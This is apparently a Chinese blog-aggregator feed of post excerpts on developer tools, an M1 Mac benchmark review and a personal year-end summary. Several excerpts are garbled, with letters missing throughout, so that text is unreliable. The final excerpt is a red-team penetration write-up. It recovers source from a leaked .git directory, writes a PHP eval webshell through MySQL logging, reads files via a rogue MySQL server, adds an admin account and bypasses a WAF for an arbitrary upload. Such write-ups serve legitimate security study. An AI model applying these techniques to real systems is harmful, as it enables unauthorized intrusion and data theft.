aarch64-liux-gu-gcc: iteral comiler error: Killed (rogram cc1)类似的报错。这是由于内存不足引起的。可以通过开启Swa分区解决。开启wa，即使用一部分硬盘作为虚拟内存，解决内存容量不足的情况。 - 博客 Holmesian Blog 2021-02-09 23:42:00起因之前有谈到过 Go 语言的交叉编译，虽然七七八八写了一堆，但是实际上的可操作性还是比较差的，当时使用go-ui-crossbuild项目也已经超过3年没有维护了。最近从各个方面感受到了 do...
- 博客 轶哥博客 2021-02-06 23:45:04
<>如果我想定义jo的内容（root）既可以是一个对象，又可以是一个数组，应该如何书写jo chema？ <>这个问题换一种描述方式，“jo chema定义了一个对象，但是希望内容也可以是这个对象的数组，如何书写jo chema？”。<>例如，Tyecrit中：root: oject | [oject]。<>例如，我希望数据可以是下面这样的一个对象：{ quotmethodquot: quotGETquot}[ { quotmethodquot: quotGETquot }] - 博客 轶哥博客 2021-02-05 19:03:23<>设备具有两个及以上网卡就有可能实现链路聚合，进行带宽叠加。widow平台提供了一些链路聚合的实现方案。
链路聚合方案
- 双网卡都设置同样的跃点数(Metric)。需要符合链接速度，参阅。
- NetSwitchTeam(推荐)
- NIC 组合(仅widow erver平台)
- Itel® PROSet（仅用于Itel部分网卡，需要驱动支持。详见官方文档，不再赘述）
- 博客 Jiajun的编程随想 2021-02-04 08:00:00《为什么要把配置保存在仓库里？》作为后端我们经常会遇到运维性质的活儿，比如测试环境起一个容器化数据库，或者是要改改Nginx配置等等。在很久以前，其实我们是跑商去改完了就算了，甚至包括数据库也是这样，测试环境改完了，生产环境抄过去再改一次。但是我认为应该要把这些配置放在一个repo里，这样子有如下几个好处...
- 博客 轶哥博客 2021-02-03 14:18:06<>Homerew是MacOS中绝佳的包管理工具。通过rew安装yto3非常容易
rew itall ytho@3，将会自动添加ytho3和i3命令。<>关于ytho的安装，在Homerew官网给出了详细的说明：htt://doc.rew.h/Homerew-ad-Pytho<>Homerew rovided a <>根据提示，我们知道ytho@2formula util the ed of 2019, at which oit it wa removed due to the Pytho 2 derecatio.ytho@2已经被移除。在2020年初，ytho@2仍然可以正常安装，但就在不久前，官方移除了ytho@2。我对Homerew官方的操作表示支持和理解，毕竟技术的更新和迭代是不可逆转的，是需要大家一起支持的。 - 博客 轶哥博客 2021-02-02 21:58:27<>学习JavaScrit绝佳的方法是阅读代码。阅读代码需要熟悉JavaScrit的基本语法，包括作用域、类型及类型转换、原型链、函数、异步、闭包等内容。I-JavaScrit-we-trut给我们提供了非常好的练习素材。<>赶紧自测一下JavaScrit掌握得怎么样！<>
H5在线练习地址 ：htt://j.wyr.me<>仅支持手机访问（毕竟做完68道题是需要耐心的，这是为了避免打开调试界面偷懒而设计）。 - 博客 构建我的被动收入 2021-01-31 08:00:00被动收入投资组合2021年01月月报
- 博客 Randy's Blog 2021-01-27 08:00:001316
- 博客 Jiajun的编程随想 2021-01-27 08:00:00《Android自动展示和关闭进度条》客户端总是要有个进度条告诉用户，正在加载内容。可是我很懒，不想每次都自己来控制，那样子的话，得在调用api前设置进度条显示出来，调用api之后不显示。每次都要这样，太麻烦了...
- 博客 轶哥博客 2021-01-25 00:49:21
识别模块
<><>将4G/5G开发板插入设备，终端输入
lu或lci，看设备是否识别到4G/5G模块。root@raerryi:~ $ luBu 001 Device 001: ID 05c6:1000 Qualcomm, Ic. Ma Storage Deviceifcofig即可直接看到网卡并能上网。这种情况下，USB接口实现的是一个USB网卡端，类似于Raerry OTG USB上网。参考：《树莓派4使用OTG功能变身有线网卡》。 - 博客 构建我的被动收入 2021-01-24 08:00:00本文介绍了基于Serverless架构的使用Pulumi与AWS实现Hugo静态博客的访问统计功能。
- 博客 构建我的被动收入 2021-01-17 08:00:00如何建立个人终身学习知识体系？如何自我管理？如何自我提升？本文分享我的终身学习知识体系建立过程，包括如何收集高质量信息、如何设定个人中长期目标及个人愿景、如何内化知识、如何整理笔记、如何管理时间、如何系统阅读、如何通过写作做知识输出建立个人品牌、如何通过个人项目应用所学知识。
- 博客 构建我的被动收入 2021-01-14 08:00:00本文分享一个普通家庭如何做理财规划，包括家庭财务状况的分析、理财目标的设定、投资组合构建、保险规划及医疗规划。
- 博客 Jiajun的编程随想 2021-01-13 08:00:00《Kotlin/Java 列表Protobuf序列化》本来想保存一些Protobuf生成的类的实例到本地，方法自然就是把一个列表的数据序列化成bytes，然后存起来。不过搞了半天都没办法，于是就自己整了一个 "poor man's serialization for list of protobuf object"...
- 博客 Randy's Blog 2021-01-10 08:00:001323
- 博客 王子亭的博客 2021-01-10 01:00:00
最近两年几乎买齐了苹果的全线产品，越来越看好苹果，甚至买了一些苹果的股票，当然为什么选择苹果生态这个话题可以放在单独的文章里来说。
我在 Small talk 的第二期「聊聊用 M1 芯片的新 Mac」中也聊到了 Apple Silicon 的话题，欢迎大家收听，但这期播客录制时间较早，如有冲突还是以本文为准。
第一体验
在 11 月 17 日的发布会后我又观望了一周才下单，最后在 12 月 4 日拿到了搭载 M1 处理器 的 MacBook Air，我将内存升级到了 16G ，存储则还是低配的 256G。
选择这一款是因为从测评来看 Air 和 Pro 的性能差别并不显著，也不想为了 Touch Bar 和屏幕亮度支付额外 2000 元的价格，不如把这个钱加到内存上。
说到内存，新的 Mac 使用了「统一内存架构（UMA）」，可以消除 CPU 和显卡等专用计算单元之间的内存拷贝，既提高了速度，又减少了内存使用。一些朋友表示 8G 的内存对于不开虚拟机的中度使用也非常够用，但相信硬件的提升很快就会被软件消化，如果你希望新的 Mac 有一个比较长的使用周期，还是建议升到 16G 内存。对于新的 Mac 来说最高也只能选配 16G 内存，据说是因为总线 IO 的瓶颈，只有 2 个雷电接口也是这个原因。
至于存储空间，我属于最低的存储空间都够用的那一类人 —— 我希望设备上有最高性能的本地存储，但我并不会用这么昂贵的空间去存储冷数据，毕竟我才刚刚花了大功夫 自己搭了一个 NAS。
拿到 MacBook Air 开始，最亮眼的还是发热和续航的表现，我偶尔会把 MacBook 放在腿上使用，之前的 Intel MacBook 十几分钟就会觉得烫，而 M1 Mac 则在日常使用时几乎感觉不到温度，在 CPU 跑满的情况下温热，只有 CPU 和 GPU 同时跑满才会有烫的感觉。相应地，M1 的续航表现也非常亮眼，后面的性能测试中会有详细的说明。
然后把它和我们家其他的 Mac 对比一下跑分，果然是用最低的价格提供了最高的分数：
Mac Air (M1) Pro (2020) Pro (2017) mini (2018) CPU M1 I5-1038NG7 I5-7360U I7-8700B GPU 7-Core Iris Plus Iris Plus 640 Intel UHD 630 Memory 16G 16G 8G 16G Geekbench SC 1678 1136 852 1117 Geekbench MC 7225 4237 2020 5621 Geekbench Metal 19138 8498 4930 3776 Price ¥9499 ¥14499 ¥11888 ¥11909 数据来自 everymac.com 和 geekbench.com
其中 MacBook Pro 2020 是我 2020 年初时购买的最后一代 Intel MacBook，使用第十代 i5，倒是没什么问题，只是目前来看就买得实在太亏了；MacBook Pro 2017 是蛋黄一直在用，最近她开始学习 Swift 就一直在吐槽电脑实在太慢了，同时电池也进入了待维护状态；Mac mini 2018 是我目前工作用的电脑，当时虽然选了最高配的 i7 CPU，但没考虑到 Intel UHD 630 的性能实在太差了，即使我只是接了一块 4k 屏，系统的界面响应就已经非常卡顿了，现在 GPU 成为了整台电脑的瓶颈。
ARM 生态
应该说这次从 x86 到 ARM 的切换比我想象中的要顺利，苹果的第一方应用和 masOS 独占的应用都第一时间进行了适配，其他没有适配的应用则可以用 Rosetta 2 来运行。Rosetta 2 用起来是完全无感的，系统会自动将 x86 的应用以转译的方式来运行，无论是图形界面应用还是命令行的 binary 文件。性能上的差别对于大部分应用来说也并不明显，很多时候感觉不到自己是否使用了 Rosetta 2。
M1 芯片之前对我来说最大的变数在于对 Docker 的支持，但就在前几天 Docker for Mac 也发布了 针对 M1 芯片的测试版本。测试版中默认会运行一个 ARM 架构的 Linux 虚拟机，默认运行 linux/arm64 架构的镜像（说起来在 M1 之前 linux/arm64 大概主要是被用在树莓派上吧）；对于没有提供 linux/arm64 架构的镜像则会自动使用 QEMU 来运行 x64_64 的镜像，性能就比较差了。
macOS 吸引我的一大理由就是 Homebrew —— 可能是桌面开发环境中最好用的包管理器。在 M1 上 Homebrew 目前 推荐大家使用 Rosetta 2 来运行，所安装的包也都是需要 Rosetta 2 转译运行的 x86 版本，即使这个包已经提供了 ARM 版本。
这是因为 Rosetta 2 虽然可以完美运行 x86 的 binary，但当一个脚本中会以字符串的方式传递架构名、会调用多种不同的架构的程序，且这些程序同样关心当前的架构时就出问题了，不同的程序无法对这台机器的架构达成一致 —— 这往往发生在编译脚本里，也就是 Homebrew 的主要工作。解决这个问题目前只能是让整个脚本都运行在 x86（即 Rosetta 2）下，Homebrew 目前也是这样做的。
当然你可以选择在另外一个路径 安装 ARM 版的 Homebrew 来安装 ARM 版的包，但目前这种方式缺少官方指引、需要自己尝试一个包的 ARM 版是否可以工作、需要从源码编译。目前大多数无法工作的包是受限于上游依赖的发布周期（如支持 darwin/arm64 的 Go 1.16 要等到 2021 年二月才会发布），对于不涉及特定架构、或已经在其他平台提供有 ARM 版本的包，届时只需重新编译就可以提供 ARM 版本。
M1 的 Mac 可以直接安装 iOS 应用这一点我倒不是很在意，一方面是很多国内的毒瘤应用第一时间就从 Mac 商店下架，不允许安装。另一方面 iOS 基于触屏的交互逻辑本来就不适合 Mac，我也不觉得 Mac 之后会加入触屏的支持。
性能测试
以极低的功耗实现高于之前 MacBook 的性能是这次 M1 Mac 的亮点，在我购买之前实际上就已经看了很多视频自媒体的测评，在他们的测试中 M1 Mac 在使用 Final Cut Pro X 进行视频剪辑和导出有着碾压级的性能表现。
但显然这并不能代表 M1 在所有工作负载下的表现，因此我根据我日常的工作负载设计了 7 组共 15 项测试，主要将搭载 M1 的 MacBook Air 和我目前在使用的最后一代 Intel MacBook Pro (2020, i5 10th) 进行对比，以下数据均以后者为基准。
Name MacBook Pro (i5 10th) MacBook Air (M1, x86) MacBook Air (M1, ARM) Node.js npm install 2m 41s 1m 38s (+39%) 1m 2s (+61%) Node.js webpack build 54s 38s (+30%) 27s (+50%) Xcode build Swift SDK 11m 30s N/A 6m 47s (+41%) Xcode start iOS Simulator 49s N/A 16s (+67%) Docker Redis benchmark 128k QPS 133k QPS (+4%) 261k QPS (+96%) Docker build Node.js app 2m 56s 4m 43s (-61%) 3m 17s (-12%) Visual Studio Code startup 7s 17s (-142%) 3s (+57%) Visual Studio Code open and close tabs 36s 37s (-3%) 40s (-11%) Chrome Speedometer 2.0 88 times/m 121 times/m (+38%) 214 times/m (+143%) Safari Speedometer 2.0 111 times/m N/A 227 times/m (+105%) Safari 10% battery for Bilibili 32m N/A 1h 50m (+244%) Final Cut Pro X background rendering 9m N/A 6m 20s (+30%) Final Cut Pro X export H.264 8m 25s N/A 7m 8s (+15%) Steam Oxygen Not Included 25 ~ 40 fps 45 ~ 50 fps (+25 ~ 80%) Not support Steam Sid Meier’s Civilization VI p99 22 fps p99 51 fps (+132%) Not support 对于 Node.js 依赖安装、前端项目构建、Swift 代码编译这些 CPU 密集且内存访问频繁、其中一些步骤依赖单核性能的场景，M1 有着非常明显的提升，即使使用 Rosetta 2 转译也要显著好于 i5。
最值得一提的是得益于 M1 的统一内存架构的高带宽和低延迟，Redis 跑出了 26 万 QPS 的成绩（无论是否在 Docker 中这个数据都差不多），而 i5 仅有 6 万。在调整 redis-benchmark 的数据长度参数时，M1 的结果几乎没有什么变化，而 i5 则随着数据长度的增加 QPS 逐步下降。说不定未来搭载 M1 的 Mac mini 会成为运行遇到 CPU 瓶颈的 Redis 的最佳硬件。
而使用 Docker for Mac 构建镜像则没有提升，这可能是因为构建的过程有很多零散的 IO，CPU 会有比较多的时间休息。而如果使用 Docker 去构建 x86_64 架构的镜像的话，性能损失就非常严重了（-61%）。
我编写了一个反复开关标签页的脚本来测试 VSCode 的性能，结果表明对于这类负载并不重的 GUI 程序，Rosetta 2 转译并不会影响性能，同样编译到 ARM 也不会对性能有多少提升，Rosetta 2 主要是会比较明显地增加启动速度。在 VSCode 的测试数据中出现了比较奇怪的现象 —— Rosetta 2 转译的版本竟然比 ARM 还快，我目前倾向于这是实验的误差，两者的速度实际上是几乎相同的。
在浏览器的测试中我们选择了 Speedometer，它会运行上百个由主流 Web 框架编写的 Todolist。结果显示无论是 Chrome 还是 Safari，其 ARM 版本都有一倍以上的性能提升，同样即使经过 Rosetta 2 转译也仍然比 i5 要快。浏览器的场景其实和前面 Node.js、Swfit 和 Redis 很像，都是 CPU 密集且内存访问频繁、其中一些步骤依赖单核性能，这也是 Intel CPU 之前的痛点。
我还基于浏览器进行了续航测试，我在中等亮度下播放 Bilibili 上 4K 120 帧的视频，开启弹幕的情况下 M1 使用前 10% 的电池播放了惊人的 1 小时 50 分钟，在这段时间的日常使用体验也是如此，我毫不怀疑官网给出的 18 小时视频播放时间。
在 Final Cut Pro X 的视频渲染和导出上，虽然 M1 确实有提升，但远不如之前一些媒体宣传的那么夸张，目前我还不清楚原因。
游戏方面我测试了我经常玩的 Oxygen Not Included（缺氧）和 Sid Meier’s Civilization VI（文明 6），我使用的都是中后期的存档、默认画面预设，在大多数时间都有 50 帧以上，是完全可以流畅游玩的。
可以看到 M1 的 Mac 在之前低配的价位上实现了中配甚至高配的计算性能，得益于专用的加速芯片，在苹果第一方和 macOS 独占的应用上有非常惊人的表现，而对于必须经过 Rosetta 2 转译的应用，仍有可以接受的性能表现，也是远高于之前同一价位的 Mac 的。
多用户模式
因为蛋黄和我对新的 MacBook 都很有兴趣，因此我们各建了一个账户，这段时间是在轮流使用这台 MacBook，这也是我第一次使用 macOS 的多用户模式。整体体验还是很不错的，macOS 允许两个用户同时登录，在不退出程序的情况下在两个用户间切换，这使得我和蛋黄同时使用一台电脑的体验非常流畅。
16G 的内存也非常够用，即使另外一个用户运行了 XCode、Final Cut Pro X 或大量标签页的 Chrome，也不会有任何感觉。倒是 256G 的存储空间对于两个用户同时使用有些不够，不过这样的状态应该不会持续太久，后面我也会入手一台 M1 的 Mac。
对 Mac 的展望
Rosetta 2 为什么会有这么好的性能呢？之前 Surface 等 x86 模拟器性能不佳的一个原因是 x86 与 ARM 在一个有关内存顺序的机制上有着不同的行为，在 ARM 上模拟这一行为会导致很大的性能损失。而苹果选择直接 在 M1 芯片中实现了一套 x86 的内存机制，大大加速了 Rosetta 2 的性能。据说苹果同样在芯片层面对 JavaScript 和 Swfit 中一些特定场景进行了优化，还有大量的专用计算芯片来加速编视频编解码、密码学计算等特定的任务。
这是一个非常有趣的方向，过去很长一段时间都是应用来适配芯片，但只要对硬件和操作系统的控制力足够强，芯片也可以反过来去对最常用、性能问题最突出的应用进行芯片层面的优化或加入专用的计算芯片，和应用程序一起进行迭代更新。M1 中有的是对 Rosetta 2 的优化，而下一代的 M2 芯片则可能不再需要 Rosetta 2，而是可以根据需要去优化当时的热门场景。
对于苹果来说切换到 ARM 最重要的是提升了其垂直整合的能力、自主控制 Mac 产品线的更新周期。因为苹果对于操作系统的控制力和对应用生态的号召力，可以最大限度地发挥出自主设计的 ARM 芯片的效果。Windows 阵营当然可以切换到 ARM，会享受到前面提到的一些好处，毕竟苹果已经证明了这条路是可行的。但因为软硬件不是同一家公司控制、Windows 对应用生态的号召力弱，微软又不敢破釜沉舟地投入到 ARM 上，因此短期内可能 Windows 阵营还很难实现。
- 博客 Jiajun的编程随想 2021-01-03 08:00:00《deeplink结合路由处理扩展App的能力》开始学习移动端开发是一个正确的选择，点了一颗新的技能树，扩展了知识和能力体系。下面是最近的关于路由处理和deeplink的感想。通常情况下，如果想要服务端触发一些App的行为，那么我们选择的是通过某个约定的code，App检测到之后，就作出一定的响应。例如...
- 博客 Jiajun的编程随想 2021-01-03 08:00:00《怎么使用ViewModel 和 RecyclerView》当他们分开使用的时候，很简单，但是怎么把ViewModel和RecyclerView结合在一起呢？代码如下...
- 博客 构建我的被动收入 2021-01-02 08:00:00被动收入投资组合2020年12月月报
- 博客 Jiajun的编程随想 2021-01-02 08:00:00《Android手动挡MVVM》Android官方的自动档MVVM方案 Jetpack Compose 还没正式发布，目前只有手动挡的MVVM方案，那就是下面几者的组合：- view binding...
- 博客 王子亭的博客 2020-12-31 01:00:00
2020 可能对于每一个人都是非常特殊的一年，中间发生的几乎每一件事都能和疫情联系起来。本来盼望了很久能在春节去蛋黄的老家放烟花，然而随着新冠疫情愈演愈烈，我们最后在 1 月 17 日决定取消了行程。
在疫情的初期也就是春节期间，事件的发展有着很大的不确定性，这种不确定性和媒体中对立的观点对我的情绪影响也很大，从这里开始，应该说这一整年我的情绪都很差。这次疫情也打破了我之前对于科技和未来的一些想象 —— 原来在今天，病毒会对人类社会造成这么大的影响、给我们的生活带来这么大的变化，而且这种变化很有可能常态化地持续下去。
年初蛋黄开始在我的指导下比较系统地开始学习 JavaScript 和 Web，中间短暂地工作过几个月，后面又开始学 Swift。一开始我非常着急希望蛋黄能学会一些技能然后开始工作，为此经常吵架。但后来蛋黄工作后我的情绪也没有变好，变得越来越难调节自己的情绪、总是在患得患失，也发生了很多不开心的事情。在这种情况下也很难去规划未来，只能先调整情绪，这个过程中全靠蛋黄哄着我。这对我的内容创作影响也很大，今年的内容输出非常少。希望我们能早些回到刚搬到昆山时的状态。
在年初我们参加了一次 烧火节 的线下活动，以此为契机拍摄制作了我的第一个 Vlog「第一届烧火节 Vlog：钻木取火、烧烤露营」。在之后我陆续购买了新的相机和稳定器等设备、拍摄了大量的素材，也制作了其他几个视频，但回过头来看烧火节的 Vlog 仍然是我最满意的一个视频。在疫情有了一定缓解之后我们还去了迪士尼和横店，也拍了很多视频，不过一直没有来得及剪辑成片。
今年我业余时间完成的最大的一个项目是 NAS，我花了半年的时间，先在树莓派上做实验，然后购买了 HPE MicroServer Gen 10 作为正式环境，希望能解决未来十年的存储需求。我还将整个过程写成了一篇文章「我的 NAS 选型与搭建过程」。它的主机名叫
infinity，实际投入使用后确实给了我很大的安全感 —— 这是一个由我所熟悉的开源软件构建的、有着先进的备份和纠错机制的存储系统，数据一旦被导入其中就几乎不可能再丢失。
所幸在疫情期间我也找到了一些投资机会，在全面的货币增发的情况下，今年收入和个人资产都有不小的增长，尤其在年底，密码货币差不多已经涨回了 2017 年的高点。从我工作以来这种收入和资产的不断增长，让我一直对未来保持着一种乐观的态度。
在工作方面，今年最大的变化是我需要花更多的时间去协调其他同事的工作，拆分工作、制定计划、参与面试，将自己的知识和经验分享给新加入的同事。随着工作年限的增加，工作本身会要求你承担更重要、更复杂（但可能没那么有趣）的工作，如果跟不上这种变化可能就需要给别人让位了，我想这应该就是所谓的「35 岁危机」。
一转眼从北京回到昆山也两年多了，开始觉得昆山实在是待够了 —— 现在我们几乎把昆山能逛的地方都逛了遍。我们接下来大概率会搬到上海，因为相比于其他选择，这可能是最容易做出的一个改变。其实这有点像我三年前搬去北京的理由，但我觉得上海无论是环境还是生活节奏应该都会比北京好很多。
在有了搬去上海这个想法之后，我发现我越来越害怕失去，之前每次搬家的过程中会扔掉很多东西，但现在就想把所有东西都留着；我会舍不得昆山的办公室；舍不得我们在昆山的房子 —— 我们在这里住了三年，留下了很多回忆，同时在不断地改造这个房子，让人觉得很难有比这里更舒服的地方了。我也会担心皮蛋豆腐 —— 它们今年经常会吐，中间豆腐还有那么半个月食欲不佳，虽然最后去医院检查时一切正常。
- 博客 构建我的被动收入 2020-12-26 08:00:00网站部署国外又不想备案，国内访问速度太慢怎么办？本文教你优化国外部署网站在国内的访问速度。
- 博客 Randy's Blog 2020-12-25 08:00:001331
- 博客 贼拉正经的技术博客 2020-12-24 00:31:031332
- 博客 Jiajun的编程随想 2020-12-23 08:00:00《来电拦截方案》最近接了很多垃圾电话，分享一下我的拦截方案。首先我有一个主号，这是很多年前办的，银行、房贷等重要信息的电话，都是用的这个，不能换，但是由于办理时间长，很多垃圾电话和短信...
- 博客 Jiajun的编程随想 2020-12-22 08:00:00《你好，2021！》时间的流逝似乎跟上了深圳快节奏的步伐，转眼之间就快到了2021。是时候来总结一下2020年，然后以一种全新的心态来面对来年，正所谓辞旧迎新...
- 博客 轶哥博客 2020-12-19 23:48:03<>在uxt.j中使用axio，推荐使用uxt定制款
uxt/axio(htt://axio.uxtj.org/)。相比原生axio有如下优势：- 自动为客户端和服务器端设置
aeURL - 将
etToke函数暴露给$axio，可以非常容易的进行全局Autheticatio toke设置 - 基于
aeURL发起请求时，自动启用withCredetial - 添加用于服务器端渲染的
Proxy请求Header - 支持使用
axio加载CSS - 与
Nuxt进度条集成 - 与
Proxi模块集成 - 使用
axio-retry自动重试请求
- 自动为客户端和服务器端设置
- 博客 Jiajun的编程随想 2020-12-19 08:00:00《gRPC鉴权方案》昨日与群友讨论，gRPC比较优雅的鉴权方案应该怎么做，本文记录一下最终相对优雅的实践方案。不过我们仍然要从故事的开头讲起...
- 博客 构建我的被动收入 2020-12-18 08:00:00我的2020年度个人总结
- 博客 Jiajun的编程随想 2020-12-16 08:00:00《Golang里数据库migration方案》Python中如果用SQLAlchemy的话，一般会用alembic来做migration。那么，Go呢？我一般用这个：https://github.com/golang-migrate/migrate...
- 博客 Jiajun的编程随想 2020-12-12 08:00:00《Android SwipeRefreshLayout左右滑动冲突的解决》我有一个页面是需要下拉刷新的，所以在 `
` 的外层包了 ` `，但是同时我希望 ` `里的组件，可以支持左右滑动，比如，右滑删除，左滑编辑... - 博客 贼拉正经的技术博客 2020-12-09 20:27:211340
- 博客 构建我的被动收入 2020-12-08 08:00:00本文分享我常用的绘图工具，包括白板绘图、文本绘图、代码绘图与专业绘图等工具。
- 博客 Jiajun的编程随想 2020-12-07 08:00:00《Android调用gRPC的两个小工具函数》Android上调用gRPC，由于gRPC中的status错误，在gRPC Java/Kotlin生成的代码中，是以异常的形式展现出来的，所以，如果不想在业务代码里到处都充斥着 `try {} catch(e: StatusRuntimeException) {}` 这样的代码，就得抽出一个工具函数来同一处理错误，如下...
- 博客 构建我的被动收入 2020-12-04 08:00:00被动收入投资组合2020年11月月报
- 博客 Jiajun的编程随想 2020-12-01 08:00:00《Android上结合kotlin使用coroutine》最近入了Android坑，目前还处于疯狂学习的状态，所以很久都没有写博客了。今天记录一个小代码片段，在Android上使用coroutine的小例子...
- 博客 Jiajun的编程随想 2020-11-26 08:00:00《gRPC错误处理》之前写gRPC的时候，不好怎么处理错误，原来官方已经有解决方案，只是文档上没细说：```go...
- 博客 Vulkey_Chen's Blog 2020-11-22 00:00:00
记一次攻防演习渗透过程
前言
记录一次攻防演习渗透过程，文章仅写关于「打点」环节的部分，也就是拿到靶标的Webshell为止。
任务: 拿到XXX业务系统权限…
过程
靶标是一个www的域名，简单看了下有机会硬啃（商业源码），但时间不多，先找找脆弱点，常规一套流程，收集子域、C段…
脆弱点发现
在对子域的常规扫描后，发现存在
.git泄露:
以及发现了
phpMyAdmin应用和一些phpinfo()信息泄漏:
看到这些，不由得兴奋了起来，接下来只要按照预期的想法: 通过
.git拿到数据库账号密码（源码中一般会有），登录phpMyAdmin，然后拿到Webshell…但…转折点来了，尝试使用
GitHack等一系列常见工具去恢复.git，发现恢复的文件只有一些图片，看Logs发现有很多文件恢复失败，既然不能当一个ScriptKid一把梭哈，那就自己来手动恢复吧~Git原理与恢复
基本概念
Git有三个概念词需要了解: 1.工作区 2.版本库 3.暂存区
工作区就是正常的目录（你的项目位置）;版本库就是在工作区内的一个隐藏目录
.git;如果你曾经注意过这个目录你会发现里面有许多东西，在该目录下会存在一个index文件，这被称之为暂存区。除以上所述之外，大家都知道每一个Git项目都会有一个默认的分支
master，在.git目录下有一个文件head，它用来指向master这个分支。
当我们使用
git add时，实际上就是把文件添加进暂存区；使用git commit时，才会把暂存区的内容添加到当前分支，默认是master分支。我们可以来实际的看一下
index和head这两个文件:
使用
Binwalk直接分析，可以很直观的看见index内有许多内容，head并没有，直接cat head发现这就是一个单纯的文本内容:ref: refs/heads/master前面了解到这是一个分支指向，那我直接查看
.git目录下的refs/heads/master文件，得到一串Hash值。我们可以暂且认为这是
master分支的一个记录，用于区分、比较。大概了解了以上内容后，还需要了解有哪些文件才能够恢复
.git?首先我们来看一下
.git目录内的一般结构:名称 类型 作用 .git/index 文件 暂存区 .git/config 文件 Git配置文件 .git/description 文件 GitWeb专用的描述文件 .git/info 文件夹 里面就一个exclude文件（与.gitignore互补），排除指定文件不用做Git提交 .git/hooks 文件夹 存放一些钩子脚本 .git/HEAD 文件 记录分支 .git/objects 文件夹 存放所有数据 .git/refs 文件夹 存放提交对象的指针 知道结构及其作用后，挑重点关注
objects这个目录，但一看，全都是一些Hash命名的文件，根本不知道其对应关系:
并且这些文件都没办法看:
查阅相关资料得知此类文件是将原文件内容经过
zlib的deflate压缩后存储的( https://mirrors.edge.kernel.org/pub/software/scm/git/docs/user-manual.html#object-details ):
而使用
zlib进行解压查看文件内容时是这样的:
这个文件更像是记录了一个目录结构，而关于此就又需要查阅资料了，具体请看: https://git-scm.com/book/zh/v2/Git-%E5%86%85%E9%83%A8%E5%8E%9F%E7%90%86-Git-%E5%AF%B9%E8%B1%A1
git中的对象(对象对应文件)
.git/objects包含了:- SHA(所有用来表示项目历史信息的文件,是通过一个40个字符的（40-digit）“对象名”来索引的)
- Blob对象(用来存储文件的内容)
- Tree对象(有一串bunch指向Blob对象或是其它Tree对象的指针，一般表示内容之间的目录层次关系)
- Commit对象(指向一个Tree对象, 并且带有相关的描述信息.)
(注: 图片来自 git-scm.com )猜测: 按照这个逻辑，我们需要先获取
Commit对象对应文件找到Tree对象对应文件再通过其获得Blob对象对应文件，最后解压即可获得源文件内容。那这些对象内容都存储在哪里呢？通过之前使用
Binwalk分析，显而易见，在.git/index文件中。但是在这里
.git/index文件无法直接查看，直接套用GitHack的( https://github.com/lijiejie/GitHack/blob/master/lib/parser.py )解析代码就行:
获得SHA1:
a797b1973fd62dc34a691c7fe3bce33a504f2b74，但是找了半天没找到这个对应文件，后来尝试搜索前几位和后几位，发现搜索到了后几位:
对比发现文件名和获取的SHA1值少了2位:
搜索发现原来前两位是作为了目录名:
但在这里，我们使用
zlib去解压缩，发现存储在.git/index的SHA1值实际上就是一个blob对象的值，也就根本不需要获取commit、tree对象的值了，表示之前的顺序逆推逻辑是错误的:
接下来按照这个思路去编写脚本恢复源码即可。
编写与恢复
由于项目时间原因简单了解原理之后，没有过多的去研究，也不打算使用原生方法去恢复，还是采用最暴力的方法，使用命令行去恢复
.git，想要让Git回退历史，使用git reset --hard commit_id命令，进行版本回退。基于这个命令，我需要获取网站的这几个文件/目录:
.git/index.git/logs.git/head.git/objects.git/refs
先下载
.git/index、.git/head、.git/refs、.git/logs(文件目录都是固定的无需考虑其他情况)而后解析index获取索引，根据索引依次下载.git/objects内的文件，最后全部下载完毕，获取master分支(refs/heads/master文件)对应的值带入该命令git reset --hard commit_id即可恢复:
但发现除此之外，发现恢复的文件寥寥无几，后来下载
.git/logs/head发现该.git项目还有其他分支:
这个记录中有两个SHA1的值，
master对应前者，shop对应后者，简单修改命令git reset --hard shop_commit_id，还是那一套流程，恢复shop这个分支的源码即可。获取子域 Webshell
获得源码之后翻数据库账号密码:
由于之前我们已经有了一个
phpinfo()探针，网站绝对路径已知，所以直接上phpMyAdmin登录，尝试使用into outfile，有--secure-file-priv限制无法写入:
转而使用Mysql Log日志存储的方式进行写入:
set global general_log=on; set global_log_file='/xxx/www/xxx.php'; select '<?php @eval($_REQUEST["xxx"]);?>';访问相关文件却提示我无法访问(403/AccessDefined):
遇到这种情况尝试以下几种方法:
- 修改后缀访问，判断是否是只针对脚本后缀进行限制（上传.htaccess文件）
- 修改内容访问，判断是否有安全防护对内容进行限制
- 如若以上均未访问成功，则可以考虑覆盖原文件写入
这里我的情况是第三种，大概推测可能是因为新建的文件没有执行权限所导致，因为这里我们已经有源码了所以可以直接找已有的文件(建议选择非业务相关的文件)进行写入(记得事后恢复):
执行
phpinfo();函数可以，但无法直接使用管理工具连接，抓包发现目标网站上了云WAF，对请求内容拦截了(该WAF还挺弱)，这种情况还是有很多中方式:- 配合Cknife、蚁剑等自定义修改传输内容(Base64编码等等)，但需要修改PHP文件内容配合解码
- 直接上冰蝎、哥斯拉的马就行了
为图方便，选择
冰蝎3，使用file_put_contents写入连接就行(这都不拦，WAF堪忧):
瞄准靶标
进入子域的Webshell发现内网无机器、就是一个云服务器，一开始误以为打中靶标，因为在主战发现一个路径泄漏:
而子域服务器上也有对应目录并且文件一模一样，但是修改文件却没反应不生效，猜测很有可能主战业务曾经在这个子域服务器上，但后期进行了转移，原Web文件还留着。
尝试翻翻源码，找密码，后来找到了几个有用的东西:1.Adminer文件 2.数据配置信息
Adminer（类似phpMyAdmin的数据库管理工具）文件是随机的:adminerxxxxxxxxx.php，完全无法扫到，数据库配置密码与子域完全一样。
使用数据配置密码无法登录，但是这里
Adminer可以直接连外网的Mysql数据库，使用脚本( https://github.com/Gifts/Rogue-MySql-Server )伪造一个Mysql服务端读取对应文件就好，这边以/etc/passwd为例:
如上图所示是成功读取到的，而我们在子域上也知道了对应的配置文件路径，直接伪造读取即可。
再使用Adminer登录进去时，使用如下几种方法尝试获取Webshell:
- into outfile -> 失败
- Mysql log -> 失败
- Adminer是最新版本无漏洞 -> 失败
- 获取管理员密码无法解密 -> 失败
最终选择添加新管理员登录:
登录之后寻找对应上传点(以最短攻击路径的方式进行GetWebShell):
测试如下后缀及服务器结果:
Key.jpg -> 上传成功 Key.php -> 上传失败WAF拦截 Key.phtml -> 上传失败文件类型不允许
我们在已经有源码的情况下，找到对应的代码进行审计就行，发现这里是白名单设置无法绕过:
直接关键词寻找上传功能，发现函数:
xxx_upload_file存在任意文件上传
后续构建请求包以及使用回车直接绕过
CloudWAF，上传成功:
至此靶标拿到，结束。
文末
